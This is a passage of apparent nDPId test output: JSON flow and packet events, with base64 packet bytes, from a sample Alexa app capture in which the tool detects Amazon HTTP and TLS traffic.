9aGxO4+vM2gwmns+ZVDWiFbm9t1gi61hsAZ+AMiSC1Zd8NGhavvqTWDNSkCA018cAckBfqL4WGdnwo\/47\/\/KZyVoTBXO5pt\/hdZLgwgz\/ACOBGIAlgyMJzlB0081\/zWyol7R+HlDsb\/OyMWG0osOjghuxIeCwPyAoqqMlmEZ1Kg"} +01977{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":431141,"pkt_caplen":1200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1200,"pkt_l4_len":1166,"pkt":"AMDKkaPvePiC0\/vCCABFAASiUVNAAEAG8TWsECrYNF7ohrJqAbsS8iADC\/hRvVAYAVejRAAAFwMBACBFr95JSKCNUxbfaxwfQqyrBY9nh9xfUfuEcIIPXDRcKhcDAQRQ205TRP6vQgnOKiwTlC3tbhtYdB31D20Ww4pHDyI0VYSYsOD4hQLzXYUTeQLVzP6q6GKkYC3BduX6S3CUYP6buvIxTWpB0JJxKGrR33xyMIju\/CiE2p3wHQ0xYFvFir8HtE97R\/PcQ\/JCBDe60jPHuGIbZSVY3TN32hIIiwXGV94rOLhSvJNjWSCNQVVFaRZIIpL7Cdjt85F1O3ciK7uPdaZ3rZPZb0pM4O1TNJqScASTQ7QOKochFQPnMI9Rm+kl9FBcrTRbCop0hVQYVV5KdnIaCBjL2xvcVfBb944G3y8xnChuQR6dq+GwCRQix8V\/wCaA8Q50kqWUDZZ4HsDaMBGGTs+3GH31\/Gi7poFRxw1++6kXZ6exQQ7Jy+ViUywRDmsL\/PqfyLg1Af6p\/W1xL9Ull+YtqivL892JsGGkFYi1W2o03JiomBTjAllC4AkFiDox4rqrrAPoFbjpGBmW\/0W909OlhpzgvoJ+hq1ijEci0UV++5w7hzzwtT1KJZpY7\/9RLtSajS\/nLcUgUEKL2ZZKRft1cs33aQtfij1n19wg6L85q1yqAlrXwNkitACeI6nmwmYtc1rYi3tYitQ65AwAyk7YBrB6Q+qC3Ep6ERXQ0MCw4j9eWpHzK0lQEt\/mPdBz3n19fuMmtMa39OgWOcYLqbRyoTLTLHHp0\/DLBg48pa98\/DPLgczt5cCaAVIuM2peUflYrZioELka\/QbuuvVC0aVDaU\/UY5+ptsBtHkt\/nnqdymF5YSXSi+xujwz+8dg3TBgVNqxuCu0IXB\/OVMPerPRF22019aAKs9Y7IS5wKCbIn0IxXPd+L1WwNmhjBZ+cNJysE037gKlKdneyEbrDFZVN9bxUXxXia4uyNbOhRbxinlApPSV9H\/L2vfmyNBTx1LXDG8S5Z2OApO0Du4vw0lTkaKhp+VWCqpz49bTkHB182Z97YqjD4++RK2M6fznM9Tnk2pf3+1JJaMAoWgDwL1zoGUt3o5\/DTqa+6ZPrbVp2mt1tfbaTZ3ZwcjfwXMw4w0QqQd46wLWUNmj1OBh1wV6CmwQ5BQXoBh49alLIU0aubkmOHgBFfpCcDvLfDA1gyAbp9XNReeRs4y01BkTGwJv8aaImrGON+A8vOpTl9Ya8eRXneQdjPlX0PmQ\/s+L1vV1hsawNdZ\/diXuP4WX7mwaZp4AmaSoJQNMq2C9nWTIdvCD23bWDPQznDDtdbj02gKuVdZkQr94isW29dJ9fsR8VlEjoF6CUFIyJG+sexZZbsutv6KwIIOWT\/OlaiisxW2GBRJqJAtG\/86uQS3Z+fLmjuholz4WT+fx7tOBz1\/4C16ZyTzAy+RCI\/6oDvi1M1+Nyr8KhvvWc\/FdAzu25WpGRYyxxfMd95+RWPzauTD57C\/fozkxPrhjcWTIuZJGrOqcSmXVilLyH7zPEHa5kg5+X6jnJuVA77WkdQ6ftUTTMZ0YTVzaxCjKmmfim"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":451,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1490976044439,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49589,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":439648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8t7dAAEAGjzesECrYNF7ohsG1AFD+AvgcAAAAAKAC\/\/9LawAAAgQFtAQCCAoA9k+rAAAAAAEDAwg="} +00415{"flow_id":44,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":460028,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoKp9AAEAGHGSsECrYNF7ohrJpAbvSj2qfXMI+m1AQAV0t+QAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":454,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1490976044488,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45676,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":488653,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8GDVAAEAGLrqsECrYNF7ohrJsAbtUI1eFAAAAAKAC\/\/+juwAAAgQFtAQCCAoA9k+wAAAAAAEDAwg="} +00424{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":493883,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoZGJAAOcGO6A0XuiGrBAq2AG7smoL+FG9EvIgA1AQf\/f3PwAAAAAAAAAA"} +00423{"flow_id":45,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":494027,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoZ0xAAOcGOLY0XuiGrBAq2AG7smoL+FG9EvIkfVAQf+Xy1wAAAAAAAAAA"} +01550{"flow_id":45,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":494185,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANtZ5VAAOcGNSg0XuiGrBAq2AG7smoL+FG9EvIkfVAY\/bg0\/AAAFwMBA0BpeJUjgNt\/WcAzCHO7QAdJj50vhQ8S2auMo5oIy6RJ6hic7nXdUOj2Q7272JlnTSswh3DBqafLPea0Se1u53YgYhoDLQbbAjw3DG4tx5s4OLbViL3vq8pn6lNKxV3O74j9qS9mj3kq04\/iXR3HLIIztzS+RRLeEy\/u2capvuvVu3PPQLv4TBUKBLC9BAas+YRtM1G2efDfo2GZpmXX3o1klw9OFJYamOjZwgvlTUZiSPPTq9sAkL09FbxfJBSmQTKKjonJyl6BoyGY7GH4pggBRVExqUdgGeljq58lNIsGfKXKmnr\/dyC5vSTGHYznt0Kf2JUZemNQ6I0O3TGzpZRI+\/dDjjDyZc90a6AdQbtnCgZ0VRUSuKfHrnIWuH6ho2rIpzsY+rLQXuniMXpgmnclAvTJbsSfv1MVlE40K8A75UfI8QNli\/YQ0AJZUWJPB2mjcoI\/mp0Zuu2aA74O3tDhYuPuf0mm9hW9UXEiar\/ONxlGDAEK4NoAB7FfyijDJTH4o+EkERJjnsfze1sHOGb3dZtLYFEf3FTP3Z5T9vl8bBZxrKBDMYgBdUktqt6ftYaLkaYbrQC2gaEJWDJX7zofDdJhPuQN3Xga40LS+zDAphx2i9AQB9Oa0KPD6XeSSHGHpS4tPVrSVP\/JSWNtTfZAvM2PvxwaS6OX0p+Juk9PmOdYta+Wj2v6wCe3PQrC6qjsKjKXfVjrys5O8JzxB5fMewCrO3+bGloB3GKCI4zq4FBbW3vsps0eGBsuLKMwRWy9MIfcGkfxfYyIoge0lWJ5CJ85HJvEWJ58pAN\/zSBawd9v7wgjjWWGhZUx+ZbDB4EqU6K1HYCvAK3ReJPl6GBzG+Az2FM837C6wvbYWbuIP4lEbbiB0QD\/tN\/ntkW8fMGVMiFeXUTybggP\/J9pOJLP1Y0g+hFJUvwNEdChbsOKRqFSEmDlGOV0snBw+HA4aUMa8I1yZBFJ+6K1l\/pYzqC4dZnB++stFhyMVMNkHbT2DurDkESp5aucSEMEjagewbulb7LyOBxCgUYbnnQHSbBh0FgQ6q9B5whzuzUwanBVXC0OBb+cSS6h7MPkCNjQTi0Wqrc9hSMhmV+MFf0PofzT"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":458,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1490976044502,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45677,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":502988,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA807lAAEAGczWsECrYNF7ohrJtAbvCg5wLAAAAAKAC\/\/\/w0QAAAgQFtAQCCAoA9k+yAAAAAAEDAwg="} +02039{"flow_id":45,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":503992,"pkt_caplen":1248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1248,"pkt_l4_len":1214,"pkt":"AMDKkaPvePiC0\/vCCABFAATSUVRAAEAG8QSsECrYNF7ohrJqAbsS8iR9C\/hVAlAYAV3uvAAAFwMBACCcQFNIs5tKuGgH6K0\/Ln+s5JlQu3ARAb4UqFCTcYoYOBcDAQSAURp4RZU45ualtbnLHp\/xn6wIK7IResXMkN2fNSLCt+JqHCmjAodIhUUrwmAXWk3RNY6\/lZx4E6kNm1HyZ80h+qFZRtB9mjYErVotvhkuTfR1AMJ2QizzTFijaHNacfWvSNOqjU6G0fZcTgZKXEjYN4vw7iY\/yWOBBe83ss4peCz5QT+5pXn\/WuQgpj+o7fcG2eunqEhvNBhY8VAxRHCUBwEw8MTgSt0RV3xlascGzoNHwESmm66V53Y2o\/ZgX1AeK8AVrM4cczJDA325YDBdRB8W2cxBvD55267F5PcDZWnPfZ\/kot27HvI3+\/aGBYktCBJ+5hHIP0W4msBEQLxJKxuYTC1DZUlhwRw5Oz5LaL\/NXPQwWCEvXvHHQXGNqiwlyqLluqJj7OM2sjYKM7YOC3f3ShRu+1lhvvPAjzlhj4c9fpUvwRPwqDm0cye3VHNeOBjUNjvuwZ3HrqAiryEFDzwAadhAwJqVHLj7aO8yTy9+XFFMRUppY9ntR9JSMQ+10SUZFc\/3ufMqOYKV7WiJBSK\/kMYZpqHyBpA2WTiXx+6Nx+PWQkT3s0J0xZ\/t3EsPoW+IejOWgQYVT7a5x3lPBJFFmGeZQtjzT0CA1Git1MpuywqqYzA7pUyB888RSkg3KQg+yjzESEE0O\/mB0ibGqW+u9cuVXGyS+5s+iQXNuR+ofpgaXy8SXZnE7HkmUXtw7Fad55GN5p7JngM3GGZiK\/qeUUM6SKLFIngX\/ScEuP1B\/v2fv8NT0Z82IM8hZ0oRl0oNMLiiHgIWDepP4VDTShwW8JVS8nkfAyv494pQcKVxEsE4ZewNPD7xR5QIDQaq1hrWKvl+3+YDTx7v6fHWljHhVe+VDsnqd48AJcIRWC25r3py+U94jBmdt8xt5vGwPSek1CUW\/YNLWlSDDSx2lWwf0plh3WwjnKlzFk1RWWTlmoGVBJ\/0iJDwykBOB0gGwsOyUMYce8B1Ge24uoRPocyN903b774sz3LknMy6Dqk0XfKbpsHKTNzktdBmwXc+oD78Y7JLJlCoHt3OFj5t\/\/RIBxwMvnm+MSfn74+uur+NcMzwWbkKcnfvJsoPio4acnHmxoXrVWKEc1oKqMQO8DaYTJitpCCkHJEXwQFbljP60spvFzlbuM5W96QNyLRkPMIKzIX3ICQjGXDIgoVYJHhjUKpU\/bA9wgdwg5xFf9ctSrUEzzLHGP+L4ZXx8528GMSZo6xyB+kmBWjKmDhdTzZxYK927bnipnYne8V50uX08kSYppZIBb6rn\/ES+sAs7PkBDbG3IcDMEHpFIktICw2J8RJv1xWXAf\/zAF36aCxJC2rFVu2PBYIXp24hAozgbAwRWicCj17iZgzisuSw57etJPM6+x9XkoRVKRj36BQ\/x02MK4rb2j+\/OdqnFsuXkaHTjMMr8ctXmJal3bL3BJefA7nWWzZe9oNXIM6aLtXvrEfCjwLt4oO4RoKWvcaHLzqUCCwpVwc9VY4FgNZxhwH9qoGHRaTz1esmFLoySeBRMxr2rtygfvKUbC7KJXsC"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":460,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1490976044509,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45678,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":509891,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8dBBAAEAG0t6sECrYNF7ohrJuAbv0jjuiAAAAAKAC\/\/8fLwAAAgQFtAQCCAoA9k+yAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":461,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1490976044521,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45679,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":521564,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8pBJAAEAGotysECrYNF7ohrJvAbuLWOumAAAAAKAC\/\/\/YXQAAAgQFtAQCCAoA9k+0AAAAAAEDAwg="} +00428{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":548899,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwjz9AAOcGELs0XuiGrBAq2ABQwbWwdDtt\/gL4HXASH\/7MNQAAAgQFtAEDAwY="} +00414{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":550714,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAot7hAAEAGj0qsECrYNF7ohsG1AFD+AvgdsHQ7blAQAVcWpwAA"} +01748{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":552021,"pkt_caplen":1050,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1050,"pkt_l4_len":1016,"pkt":"AMDKkaPvePiC0\/vCCABFAAQMt7lAAEAGi2WsECrYNF7ohsG1AFD+AvgdsHQ7blAYAVc4SwAAR0VUIC9saWIvYm9vdHN0cmFwL2ltZy9nbHlwaGljb25zLWhhbGZsaW5ncy5wbmcgSFRUUC8xLjENCkhvc3Q6IGFsZXhhLmFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vbGliL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KQ29va2llOiBjc3JmPS04NDYxMjczODsgc2Vzc2lvbi1pZC10aW1lPTIwODI3ODcyMDFsOyBzZXNzaW9uLXRva2VuPSJlZnRGbVk1RjVyVGd3czduK2VDZFhaU1R5SGNEeWtObDNNMXBjbzNSVktqeW43eW50T2tKNkxMRXlENUR4a3VuMnJaQXd5aVFVTlBKcVZtOG9HWE5xSG1mZjFwTjlZSWtML2lUQy9XQjY1eDc5RWFIWTdQN0JMMWZSS2VIWDNwSFc4ZW03SFJ6Q3ZkcGF1WWtzV0ZZTzBOTWVWclB6MWNYZVpIeldyejM4ZjdxRlhsOTFxaEhZdlRndHVKV2tsRlRkWmdpbHRNYmMvbz0iOyBzZXNzaW9uLWlkPTE1NC0zMTAzMjY1LTI5MzI1MTY7IHgtbWFpbj0idWlUck1lOHdRV3l6ekJsM2s5eUNQbExYUk1TVWFtTXhDWTZRZ1A4azlwd0pmcE1KT0tZWHN5UT9za3JBOEFhTiI7IHViaWQtbWFpbj0xNTItODc2MzUwNS03MzA0OTA0OyBsYy1tYWluPWVuX1VTDQpYLVJlcXVlc3RlZC1XaXRoOiBjb20uYW1hem9uLmRlZS5hcHANCg0K"} +00955{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":464,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1490976044439,"flow_last_seen":1490976044552,"flow_tot_l4_data_len":1104,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1016,"flow_avg_l4_data_len":276,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49589,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"http": {"hostname":"alexa.amazon.com","url":"alexa.amazon.com\/lib\/bootstrap\/img\/glyphicons-halflings.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00427{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":585107,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw+cBAAOcGpjk0XuiGrBAq2AG7smyRBTVcVCNXhnASH\/5KCwAAAgQFtAEDAwY="} +00427{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":585319,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwOIdAAOcGZ3M0XuiGrBAq2AG7sm0P1nENwoOcDHASH\/7coQAAAgQFtAEDAwY="} +00427{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":585350,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw0BdAAOcGz+I0XuiGrBAq2AG7sm67yvGb9I47o3ASH\/7eewAAAgQFtAEDAwY="} +00427{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":585749,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwIDxAAOcGf740XuiGrBAq2AG7sm+mtiDui1jrp3ASH\/59bgAAAgQFtAEDAwY="} +00414{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":587462,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoGDZAAEAGLs2sECrYNF7ohrJsAbtUI1eGkQU1XVAQAVeUfAAA"} +00740{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":587741,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXGDdAAEAGLd2sECrYNF7ohrJsAbtUI1eGkQU1XVAYAVdYfwAAFgMBAOoBAADmAwMHp\/uCPKzIqLpk\/u5Y5aYh1Wm9z8VlToWpRpTq02qhKCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgCgrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9+voAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACKqqAB0AFwAYiooAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":474,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":47,"flow_packet_id":4,"flow_first_seen":1490976044488,"flow_last_seen":1490976044587,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45676,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00414{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":588696,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo07pAAEAGc0isECrYNF7ohrJtAbvCg5wMD9ZxDlAQAVcnEwAA"} +00414{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":588921,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAodBFAAEAG0vGsECrYNF7ohrJuAbv0jjuju8rxnFAQAVco7QAA"} +00414{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":589054,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopBNAAEAGou+sECrYNF7ohrJvAbuLWOunprYg71AQAVfH3wAA"} 